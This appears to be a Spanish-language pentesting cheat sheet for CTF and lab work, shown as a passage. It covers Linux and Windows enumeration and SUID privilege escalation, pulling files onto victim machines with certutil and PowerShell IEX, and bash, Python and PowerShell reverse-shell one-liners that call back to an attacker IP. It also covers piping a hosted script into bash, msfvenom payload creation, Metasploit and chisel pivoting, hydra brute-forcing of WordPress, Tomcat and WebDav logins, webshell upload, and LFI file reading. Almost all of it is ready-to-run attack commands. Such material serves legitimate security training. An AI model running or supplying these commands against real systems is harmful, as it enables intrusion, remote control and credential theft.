wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh 

# Asignandole permisos de ejecución
chmod +x linpeas.sh 

# Ejecutando linpeas.sh
./linpeas.sh



# Descargando pspy64
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 

# Asignandole permisos de ejecución
chmod +x pspy64 

# Ejecutando pspy64
./pspy64



# Descargando LES
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh 

# Asignandole permisos de ejecución
chmod +x linux-exploit-suggester.sh 

# Ejecutando LES
./linux-exploit-suggester.sh

--------------------

# Descargando LES 2
git clone https://github.com/jondonas/linux-exploit-suggester-2

# Entrando al directorio del repo
cd linux-exploit-suggester-2

# Ejecutando LES 2 con perl
perl linux-exploit-suggester-2.pl


  • Usando módulo de Metasploit para encontrar vulnerabilidades de máquina Linux:
use post/multi/recon/local_exploit_suggester
set SESSSION <número_sesión>
exploit


Descarga de Archivos en Linux

# Guardando petición en un archivo
curl http://<IP o dominio> -o <nombre_archivo>


# Descargando un archivo simple
wget http://<IP o dominio>/<nombre_archivo>


# Guardando un archivo con nombre específico
wget http://<IP o dominio>/<nombre_archivo> -O <nombre_archivo>


Escalar Privilegios con Chmod

¿Quieres escalar privilegios de forma sencilla? Usa chmod para hacerlo, aquí un par de ejemplos:

  • Si tienes privilegios como SUDO para chmod, solamente escribe el siguiente comando: 
    chmod u+s /bin/bash
  • Si lo necesitas para un script en Python, solo escribe: 
    os import
chmod u+s /bin/bash
  • Ahora, escala privilegios con Bash: 
    ejemplo@test:$ bash -p
bash-4.3# whoami
root

Escalar Privilegios con Binarios SUID

Este blog, en inglés, explica algunas formas en las que puedes escalar privilegios, recomiendo que lo veas:



Windows


Enumeración de Máquina Windows


Información del Usuario Actual, Información de la Máquina y Comandos Básicos

# Nombre de nuestro usuario actual
whoami


# Listando privilegios del usuario actual
whoami /priv


# Listando grupos a los que pertenece el usuario actual
whoami /groups


# Obteniendo toda la información del usuario actual (SID,grupos a los que pertenece,privilegios,etc)
whoami /all


# Obteniendo el nombre de la computadora
hostname


# Obteniendo toda la información de la red
ipconfig /all


# Lista los hosts almacenados en la tabla ARP
arp -a


# Obteniendo tabla de ruteo
route print


# Ver las carpetas compartidas actuales
net share


# Moviendonos dentro de directorios
cd <nombre_directorio>


# Leyendo archivos
type <nombre_archivo> 


# Listando archivos
dir


# Listando archivos ocultos
dir /a


# Creación de directorios
mkdir <nombre_directorio>


Obteniendo Información de Cuentas y Grupos

# Información acerca de los requerimientos de la contraseña
net accounts


# Política de contraseñas y bloqueo
net accounts /domain


# Información sobre los grupos del dominio
net group /domain


# Lista de usuarios con privilegios de administrador de dominio
net group "Domain Admins" /domain


# Lista de computadoras conectadas al dominio
net group "domain computers" /domain


# Lista de cuentas de computadoras controladoras de dominio
net group "Domain Controllers" /domain


# Usuarios que pertenecen al grupo
net group <domain_group_name> /domain


# Lista de grupos del dominio
net groups /domain


# Todos los grupos disponibles
net localgroup


# Lista de usuarios que pertenecen al grupo de administradores dentro del dominio (el grupo `Domain Admins` está incluido por defecto)
net localgroup administrators /domain


# Información sobre un grupo (administradores)
net localgroup Administrators


# Agregar un usuario a los administradores
net localgroup administrators [username] /add
Ej: net localgroup administrators berserk /add


Obteniendo Información de Otros Usuarios

# Obtener información sobre un usuario dentro del dominio
net user <ACCOUNT_NAME> /domain


# Lista de todos los usuarios del dominio
net user /domain


# Información sobre el usuario actual
net user %username%


# Montar el recurso compartido localmente
net use x: \computer\share


# Obteniendo detalles del usuario administrador
net user administrator


Revisando Recursos Compartidos

# Obtener una lista de computadoras
net view


# Recursos compartidos en los dominios
net view /all /domain[:domainname]


# Lista de recursos compartidos de una computadora
net view \computer /ALL


# Lista de computadoras del dominio
net view /domain


Obteniendo Información de PowerShell

# En sesión que puedas revisar el explorador de archivos
AppData -> Roaming -> Microsoft -> Windows -> Powershell -> PSReadLine -> ConsoleHost_history.txt


# Muestra los módulos que tiene cargados el PowerShell
Get-Module


# Imprime la configuración política de ejecución para cada ambito en un host
Get-ExecutionPolicy -List


# Cambiando la política de nuestro proceso actual utilizando el parámetro `-Scope` . Al hacerlo, se revertirá la política una vez que abandonemos el proceso o lo finalicemos. Esto es ideal porque no realizaremos un cambio permanente en el host de la víctima.
Set-ExecutionPolicy Bypass -Scope Process


# Revisando historial de PowerShell del usuario
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt


# Devuelve valores del entorno como rutas clave, usuarios, información de la computadora, etc.
Get-ChildItem Env: | ft Key,Value


Utilizando Herramientas Automatizadas para Enumeración Windows

# En tu máquina donde tengas almacenado el winPEAS.exe
python3 http.server 80


# Descargando el winPEAS.exe en máquina víctima
C:\Temp > certutil.exe -urlcache -split -f http://<Tu_IP>:80/winPEAS.exe


# Usando winPEAS.exe
C:\Temp > .\winPEAS.exe



# Descarga windows-exploit-suggester
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/refs/heads/master/windows-exploit-suggester.py


# Generamos una BD que pide la herramienta, nos generara un archivo .xls
python2 windows-exploit-suggester.py --update


# Obten la información del sistema de la máquina víctima
systeminfo


# Guardala en un archivo en tu máquina
nano systeminfo.txt


# Usa windows-exploit-suggester
python2 windows-exploit-suggester.py --database <nombre_BD>.xls -i systeminfo.txt


# En caso de que no funcione la herramienta, ejecuta lo siguiente
pip2 install xlrd==1.2.0


  • Utilizando módulo Suggester de Metasploit (debes tener una sesión activa de Meterpreter):
# Usando módulo suggester
use post/multi/recon/local_exploit_suggester


# Configurandolo y usandolo
set SESSION <número_sesión>
exploit


Descargando Archivos en Windows

En muchas ocasiones, tendremos que descargar archivos que serán necesarios para la Post Explotación. Aquí dejo algunas formas de hacerlo.


Descargar Archivos con Certutil Windows

  • En tu máquina, abre un servidor en Python en donde tengas el archivo que quieras cargar: 
    python3 -m http.server                                                                     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
  • Ve al directorio /Temp de la máquina Windows y crea una carpeta que se llame /privesc: 
    c:\>cd Windows/Temp
cd Windows/Temp
c:\Windows\Temp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5C03-76A8
 Directory of c:\Windows\Temp
c:\Windows\Temp>mkdir Privesc
mkdir Privesc
c:\Windows\Temp>cd Privesc
cd Privesc
  • Ahora dentro de /Privesc vamos a cargar el archivo que deseas con Certutil: 
    c:\Windows\Temp\Privesc>certutil.exe -urlcache -split -f http://<Tu_IP>:8000/<Archivo_que_quieres_cargar Nuevo_Nombre>

Ejemplo:

c:\Windows\Temp\Privesc>certutil.exe -urlcache -split -f http://192.168.1.10:8000/MS10-059.exe MS10-059.exe


Utilizando iwr e IEX para Descargar Archivos desde un Servidor Web a Windows

  • Primero levanta un servidor de Python en tu máquina: 
    python3 -m http.server 80
  • Utilizamos la herramienta iwr para descargar el archivo que deseamos:
iwr -UseBasicParsing -Uri http://<IP>/<nombre_archivo> -OutFile 'C:<\PathDondeLoQuieresGuardar>\<nombre_archivo>'
Ej: iwr -UseBasicParsing -Uri http://IP/backdoor.exe -OutFile 'C:\Users\student\Desktop\tool\hacker.exe'

# Desde powershell
IEX(New-Object Net.WebClient).downloadString('http://<Tu_IP>/<nombre_archivo>')
  • También podemos ocupar IEX de PowerShell: 
    IEX(New-Object Net.WebClient).downloadString('http://<Tu_IP>/<nombre_archivo>')


Abusar del Privilegio SeImpersonatePrivilege Windows con Juicy Potato

Si bien, hay Exploits para casi todo, podemos usar una herramienta para cuando te topes con este privilegio en una máquina Windows.

Usaremos Juicy Potato, aquí un link de como usarlo:

Si necesitas Juicy Potato para versiones viejas de Windows, aquí te pongo esta versión del Juicy llamada Churrasco:



Shells


Shells

¿Qué es una Shell?

Shell
En informática, el shell o intérprete de órdenes1​ o intérprete de comandos es el programa informático que provee una interfaz de usuario para acceder a los servicios del sistema operativo. Dependiendo del tipo de interfaz que empleen, los shells pueden ser: CLI, GUI o NUI


¿Qué es un Listener?

Listener
Un listener (o “escucha” en español) es un programa o proceso que se configura para esperar conexiones entrantes en una dirección IP y un puerto específicos. Su propósito principal es recibir datos o establecer comunicación con otro sistema que inicie una conexión hacia él.


¿Qué es una Bind Shell?

Bind Shell
Una bind shell es un tipo de shell remota en la que la máquina víctima configura un listener en un puerto específico y espera que el atacante se conecte a ese puerto para tomar control del sistema.


Configurando Listeners para Obtener Shells

  • Listener con netcat para cualquier SO: 
    nc -nlvp 443
  • Listener con rlwrap y netcat para Windows 
    rlwrap nc -nlvp 443
  • Listener automatizado de Metasploit: 
    nano handler.rc 
----------------
use multi/handler
set PAYLOAD <payload>
set LHOST <IP>
set LPORT <puerto_random>
exploit
----------------
msfconsole -r handler.rc
  • Creando una bind shell en máquina víctima: 
    # Debemos cargar el binario nc.exe a la máquina víctima en caso de Windows
nc.exe -nlvp 443 -e cmd.exe
  • Conectandonos a un listener creado en la máquina víctima: 
    nc -nv <IP> <puerto_a_conectar>


Shell Interactiva de Bash

Obtuviste acceso a una máquina, pero ¿quieres tener una terminal más interactiva de bash? Has lo siguiente:

  • Escribe el siguiente comando: 
    script /dev/null -c bash
  • Presiona las teclas ctrl + z, debería aparecer el siguiente mensaje y luego la terminal de tu máquina: 
    zsh: suspended  nc -nvlp 443
  • Ahora escribe el siguiente comando en tu máquina: 
     stty raw -echo; fg       
[1]  + continued  nc -nvlp 443
  • Escribe reset y te preguntará que tipo de terminal quieres, pon xterm: 
    [1]  + continued  nc -nvlp 443
                            reset
reset: unknown terminal type unknown
Terminal type? xterm
  • Exportemos xterm, bash y cambiemos el tamaño de la terminal (este último es opcional, pero lo recomiendo): 
    www-data@bashed:/var/www/html/dev$ export TERM=xterm
www-data@bashed:/var/www/html/dev$ export SHELL=bash
www-data@bashed:/var/www/html/dev$ stty rows 51 columns 189

    Y listo, ya tenemos nuestra terminal interactiva.


Shell Interactiva con Python

Esta opción la usamos cuando la forma de Bash no funciona, esta falla cuando sale el siguiente error:

lp@antique:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
This account is currently not available.
Script done, file is /dev/null

Ahora, para obtener la shell interactiva, hacemos lo siguiente:

  • Comprueba que versión de Python usa la máquina: 
    lp@antique:~$ which python
which python
lp@antique:~$ which python3
which python3
/usr/bin/python3
  • Utiliza Python3 para crear una shell de Bash: 
    python3 -c 'import pty;pty.spawn("/bin/bash")'
  • Presiona ctrl + z y rápidamente escribe stty raw -echo; fg: 
    lp@antique:~$ ^Z
zsh: suspended  nc -nvlp 443
stty raw -echo; fg
  • Ahora escribe reset xterm: 
    stty raw -echo; fg
[1]  + continued  nc -nvlp 443
                          reset xterm
  • Por último, exporta la TERM, SHELL y cambia el tamaño de la stty: 
    lp@antique:~$ export TERM=xterm
lp@antique:~$ export SHELL=bash
lp@antique:~$ stty rows 51 columns 189

    Listo, ya tienes tu shell interactiva.


Reverse Shell

¿Qué es una Reverse Shell?

Reverse Shell
Una reverse shell es un tipo de shell remota en la que la máquina víctima inicia una conexión hacia la máquina atacante. Esto permite al atacante tomar control del sistema de la víctima, incluso si esta última está detrás de un firewall o NAT que bloquea conexiones entrantes.


Reverse Shell de Bash

Esta es una forma simple de conectarse remotamente en una máquina que usa Linux.

  • Vamos a usar el siguiente script de Bash: 
    bash -c "bash -i >& /dev/tcp/<Tu_IP>/<puerto> 0>&1"
  • Si lo necesitas para una página web, debes url encodearlo cambiando los ampersands por %26. 
    bash -c "bash -i >%26 /dev/tcp/<Tu_IP>/<puerto> 0>%261"
  • También puedes ocupar solamente el comando que ejecuta la reverse shell: 
    bash -i >& /dev/tcp/<Tu_IP>/<puerto> 0>&1
  • Podemos utilizar un archivo tipo html que almacene nuestra Reverse Shell, y con curl podemos realizar una petición a este archivo e indicar que se interprete con bash:
nano index.html

--------
bash -i >& /dev/tcp/<Tu_IP>/<puerto> 0>&1
--------

python3 -m http.server 80

curl http://<Tu_IP>/index.html | bash

Esto sería útil para poder ganar acceso a una máquina, en donde tenga una vulnerabilidad que permita la ejecución remota de comandos (RCE).


Reverse Shell de PHP

¿Necesitas una Reverse Shell que sea hecha en PHP? Aquí tienes una:

  • Repositorio de pentestmonkey: php-reverse-shell

  • Así puedes clonarla: 
    git clone https://github.com/pentestmonkey/php-reverse-shell.git
Clonando en 'php-reverse-shell'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 10 (delta 1), reused 1 (delta 1), pack-reused 7
Recibiendo objetos: 100% (10/10), 9.81 KiB | 1.23 MiB/s, listo.
Resolviendo deltas: 100% (2/2), listo.
  • Recuerda que debes abrir el archivo y modificarlo para poner tu IP y un puerto que quieras.


Reverse Shell de Python

A continuación, dejare unas Reverse Shells de Python que me han servido en las CTF:

# Reverse Shell en un One liner de Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<puerto_random>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'


# Otra Reverse Shell en un One liner de Python
export RHOST="<IP>";export RPORT=<puerto_random>;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'


# Reverse Shell en un One liner de Python, pero corto
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<IP>",<puerto_random>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'


Reverse Shell de Windows

A continuación, dejare unas Reverse Shells de PowerShell que me han servido en las CTF:

# Reverse Shell en un One Liner de PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',<puerto_random>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"



# Utilizando script de Nishang
wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1


# Agregamos esta última linea al script de Nishang
powershell iex (New-Object Net.WebClient).DownloadString('http://<IP_de_tu_servidor_web>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <puerto_random>



Pivoting


Pivoting con Proxichains de Metasploit Framework

Para este punto, ya deberías tener una sesión de meterpreter que se conecte a la máquina víctima.

# Confirmando la existencia de otras máquinas registradas en la máquina víctima
ifconfig
ipconfig


# Añadiendo la ruta de la seguna máquina demo1
run autoroute -s <IP>/<subnet>
Ej: run autoroute -s 192.168.1.0/20


# Para ver la tabla de ruteo y comprobar si se agrego
run autoroute -p


# Checando si podemos alcanzar a la otra máquina
shell
ping <IP>
exit


# Revisando la configuración de los proxychains (debería ser la siguiente: socks4 127.0.0.1 9050)
cat /etc/proxychains4.conf


# Configurando proxy, debemos configurar los datos del proxychains
search socks_proxy
use 0
show options
set SRVPORT 9050
set VERSION 4a
exploit


# Revisando si se activo correctamente
jobs


# Ejecutando nmap con los proxychains hacia segunda máquina (puedes agregar un rango de puertos, por ejemplo -p 1-100
proxychains nmap <IP o dominio> -sT -Pn -F 


# Usando hydra en proxychains para atacar servicio SSH
proxychains hydra -L <wordlist_usuarios> -P <wordlist_contraseña> <IP> ssh
Ej: proxychains hydra -l administrator -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.18 ssh


# Conectandonos a ssh a traves de proxychains
proxychains ssh <usuario>@<IP o dominio>
proxychains ssh root@192.168.1.18
password1


Pivoting Aplicando Port Forwarding desde Meterpreter

Para este punto, ya deberías tener una sesión de meterpreter que se conecte a la máquina víctima.

# Confirmando la existencia de otras máquinas registradas en la máquina víctima
ifconfig
ipconfig


# Agregando una ruta, la -s es para indicar una subnet
run autoroute -s <IP>/<submascara>


# Para ver la tabla de ruteo y comprobar si se agrego
run autoroute -p


# Checando si podemos alcanzar a la otra máquina
shell
ping <IP>
exit


# Escaneando puertos de segunda máquina
search portscan
use 5 (tcp)
set RHOSTS <IP>
set PORTS 1-100
exploit


# Entrando a la sesión de Meterpreter y Aplicando Port Forwaring
sessions 1
portfwd add -l <puerto_random> -r <IP>
Ej: portfwd add -l 1234 -p 80 -r 192.168.1.18


# Listando Port Forwarding
portfwd list


# Escaneando puertos encontrados en segunda máquina, puedes realizarlo en otra terminal
nmap -sCV -p <puerto_random_elegido> localhost
Ej: nmap -sV -p 1234 localhost


Pivoting con chisel

Aquí no es necesario que tengas una sesión de Meterpreter, pero si una shell que este conectada a la máquina víctima.

# Creando servidor en nuestra máquina que usara un puerto random
./chisel server --reverse -p <puerto random>


# Conectandonos a nuestro servidor desde máquina víctima
./chisel client <Tu_IP>:<puerto_random_elegido> R:<puerto_a_apuntar(nuetro_puerto)>:<IP_máquina_a_pivotear>:<puerto_a_apuntar>
Ej: ./chisel client 192.168.1.15:1234 R:3000:172.17.0.1:3000


# Comprobando puerto en uso en nuestra máquina
lsof -i:<puerto_ocupado>
Ej: lsof -i:3000


# En web, si es que queremos ver la web
localhost:<puerto_usado>
Ej: localhost:3000


# Realizando un escaneo al puerto usado
nmap -sCV -p 3000 localhost



Payloads


Utilizando Msfvenom para Crear Payloads

# Para ver la documentaación rapida
msfvenom


# Para ver todos los payloads que se pueden generar
msfvenom --list payloads


# Ejemplo de busqueda de payloads
msfvenom -l | grep "java"


# Para ver los formatos en los que se obtiene el output del payload
msfvenom --list formats


# Creando un payload
msfvenom -a <arquitectura> -p <tipo_payload> LHOST=<Tu_IP> LPORT=<puerto_random> -f <tipo_archivo> -o <nombre_payload>


# Creando un payload para arquitectura x86 (32 bits) de Windows que obtiene una reverse shell mediante meterpreter y con formato exe
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<Tu_IP> LPORT=<puerto_random> -f exe -o /home/kali/Desktop/payloadx86.exe


# Para crear un payload para arquitectura de x64 (64 bits) de Windows que obtiene una reverse shell mediante meterpreter y con formato exe
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<Tu_IP> LPORT=<puerto_random> -f exe -o /home/kali/Desktop/payloadx64.exe


# Para crear un payload de una reverse shell para Linux con arquitectura x86 (32 bits) con formato elf para generar un binario, se obtiene sesion por meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Tu_IP> LPORT=<puerto_random> -f elf -o /Desktop/payloadx86.exe


# Lo mismo que el anterior, pero para arquitectura x64 (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Tu_IP> LPORT=<puerto_random> -f elf -o /Desktop/payloadx64.exe


# Creando payload que obtiene sesión de meterpreter mediante PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Tu_IP> LPORT=<puerto_random> -f raw -o shell.htb



Cracking Hashes


Distintas Herramientas para Identificar el Tipo de Hash


Usando HashID

# Identificando el tipo de hash de un hash
hashid -m '<hash>'


# Identificando el tipo de hash de una lista de hashes
hashid -f hashes.txt


# Obteniendo más información de una hash
hashid -j '<hash>'


Usando hash-identifier

# Ejecuta hash-identifier
hash-identifier


# Identificando el tipo de Hash con hash-identifier
Enter the string: <hash>


Crackeando Hashes con JohnTheRipper

# Listando los formatos de hashes
john --list=formats


# Crackeando un hash
john hash.txt


# Indicando formato de hash para crackearlo
john --format=<formato_hash> hash.txt


# Usando un wordlists para crackear un hash
john --wordlist=<wordlist> hash.txt
john -w:<wordlist> hash.txt

Ej: john -w:/usr/share/wordlists/rockyou.txt hash.txt


# Mostrando hash crackeado
john --show hash.txt


# Reiniciando un ataque que se haya pausado
john --restore

Existen varias herramientas que permiten cambiar el formato del hash a uno que acepte JohnTheRipper. Aquí te dejo algunas:

  • unshadow
  • zip2john
  • rar2john
  • pdf2john.py
  • hccap2john
  • keepass2john


Crackeando Hashes con Hashcat

# Buscando el ID de un hash a crackear
hashcat --help | grep <tipo_hash>


# Crackeando un hash usando un diccionario
hashcat -m <ID_hash> -a 0 hash.txt <wordlist>


# Aplicando un ataque de fuerza bruta
hashcat -m <ID_hash> -a 3 hash.txt ?a?a?a?a


# Obteniendo resultados de crackeo
hashcat --show -m <ID_hash> hash.txt



Pentesting Web


WordPress

Aquí puedes encontrar más información sobre pentest a WordPress: HackTricks: Pentest WordPress

El archivo wp-config.php puede contener información crítica como las credenciales del administrador del sitio web.


Escaneo de Plugins

  • Usando herramienta wpscan para analizar plugins: 
    # Utilizando wpscan
wpscan --url http://<URL>
  • Usando módulo de Metasploit para analizar plugins de WordPress: 
    # Utilizando módulo de Metasploit
use auxiliary/scanner/http/wordpress_scanner
set RHOSTS <IP>
set TARGETURI /<URL>
exploit


Fuerza Bruta a Login de WordPress

Normalmente, estos son los nombres de los directorios que almacenan el login, pero pueden ser cambiados por el administrador:

  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php


Aquí te dejo como aplicar la fuerza bruta:

# Usando hydra para aplicar la fuerza bruta al login de WordPress
hydra -L <usuarios_wordlist> -P <contraseñas_wordlist> <IP> http-post-form "/<URL_login>:username=^USER^&password=^PASS^:S=302 -v
Ej: hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.15 http-post-form "/login:username=^USER^&password=^PASS^:S=302" -v

# Aplicandolo a un solo usuario
hydra -l <usuario> -P <contraseñas_wordlist> <IP> http-post-form "/<URL_login>:username=^USER^&password=^PASS^:S=302 -v
Ej: hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.15 http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:S=302"


Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Tomcat

Aquí puedes encontrar más información sobre pentest a Apache Tomcat: HackTricks: Pentest Tomcat


Temas de Interes y Enumeración de Usuarios

  • Normalmente, se encuentra en el puerto 8080.

  • Provocar un error en Apache Tomcat puede indicarnos la versión que se esta ocupando.

  • De esta forma también podemos encontrar la versión de Tomcat

    curl -s http://<tomcat-site.local>:8080/docs/ | grep Tomcat


  • Módulo para enumeración de usuarios:
# Módulo de Metasploit para enumeración de usuarios (el módulo ya tiene wordlists por defecto, pero se pueden cambiar)
use auxiliary/scanner/http/tomcat_enum
set RHOST <IP>
set TARGETURI /<URL>
set USER_FILE <usuarios_wordlist>
exploit


# Si ya tienes un usuarios y/o contraseñas validos, puedes configurarlos
set USERNAME <usuario>
set PASSWORD <contraseña>


Contraseñas por Defecto y Aplicando Fuerza Bruta a Login de Tomcat

Estas son algunas contraseñas por defecto que tiene Tomcat:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Se pueden probar con el siguiente módulo de Metasploit:

# Usando módulo para aplicar fuerza bruta (el módulo ya tiene wordlists por defecto, pero se pueden cambiar)
use auxiliary/scanner/http/tomcat_mgr_login
set RHOST <IP>
set TARGETURI /<URL>
set USER_FILE <usuarios_wordlist>
set PASS_FILE <contraseñas_wordlist>


  • Aplicando fuerza bruta con hydra:
hydra -L <usuarios_wordlist> -P <contraseñas_wordlist> -f <IP> http-get /manager/html
Ej: hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html


Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Joomla

Aquí puedes encontrar más información sobre pentest a Joomla: HackTricks: Pentest Joomla


Analizando Joomla con joomscan

Buscando vulnerabilidades en el CMS Joomla:

perl joomscan.pl -u http://<URL>
Ej: perl joomscan.pl -u http://192.168.1.15/joomla

Aquí puedes descargar esta herramienta: Repositorio de OWASP: joomscan


RCE a Joomla

Esto lo aplique contra la máquina Nagini de VulnHub.

Aquí puedes verlo: BerserkWings: Máquina Nagini - RCE Joomla


Nginx

Aquí puedes encontrar más información sobre pentest a Nginx: HackTricks: Pentest Nginx

Proximamente…


HFS (rejetto)

Proximamente…


IIS WebDav

Aquí puedes encontrar más información sobre pentest a WebDav: HackTricks: Pentest WevDav


Buscando Vulnerabilidades con davtest y nmap

# Probando herramienta davtest para determinar rápida y fácilmente si los servicios DAV habilitados son explotables.
davtest -url <URL>

# Autenticandonos en webdav
davtest -auth <usuario>:<contraseña> -url http://<IP>/webdav



# Comando de nmap que busca vulnerabilidades enumerando la página web
nmap -p 80 --script http-enum -sV <TARGET_IP>


Conectandonos a Servicio WebDav con cadaver y Explotando Vulnerabilidad para Subir Payload Malicioso

  • Utilizando cadaver:
# Conectandonos a webdab con cadaver, nos da una sesión (obviamente necesitamos credenciales válidas)
cadaver <URL>
Ej: cadaver http://192.168.1.15/webdav


# Subiendo un archivo webshell.asp para obtener una shell en la web del servicio WebDav
put /usr/share/webshells/asp/webshell.asp


  • Explotando vulnerabilidad para subir un archivo malicioso:
# Obteniendo sesión de meterpreter para webdav
msfvenom -p <PAYLOAD> LHOST=<Tu_IP> LPORT=<puerto_random> -f <tipo_archivo> -o <nombre_archivo>
Ej: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.15 LPORT=1234 -f asp -o shell.asp


# Módulo que sube una shell al servicio WebDav, necesita handler o netcat
use exploit/windows/iis/iis_webdav_upload_asp
set RHOST <IP>
set PATH <Path_donde_esta_archivo_a_subir>
set HttpUsername <usuario>
set HttpPassword <contraseña>
exploit


Fuerza Bruta a WebDav

# Aplicando fuerza bruta
hydra -L <usuarios_wordlist> -P <contraseñas_wordlist> <IP> http-get /webdav/
Ej: hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt 192.168.1.15 http-get /webdav/


Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Microsoft IIS

Aquí puedes encontrar más información sobre pentest a Microsoft IIS: HackTricks: Pentest Microsoft IIS

Proximamente…


Enumerando Puertos Internos con CURL

Digamos que tienes la forma de visualizar archivos internos de una máquina desde una aplicación web, gracias a la inyección de comandos por LFI. Si puedes visualizar el archivo tcp del directorio /proc/net, puedes descubrir que puertos internos estan abiertos utilizando la herramienta CURL.

Para hacerlo, obtengamos una petición por el metodo GET con el parámetro -X. Como prueba, usaremos la máquina Tabby:

curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp"
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000   997        0 24968 1 0000000000000000 100 0 0 10 0                     
   1: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22923 1 0000000000000000 100 0 0 10 0                     
   2: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 21938 1 0000000000000000 100 0 0 10 0                     
   3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 22903 1 0000000000000000 100 0 0 10 0                     
   4: C20A0A0A:0050 040E0A0A:B7D2 01 00000000:00000000 02:000AFC7F 00000000    33        0 32297 2 0000000000000000 166 4 30 10 21                   
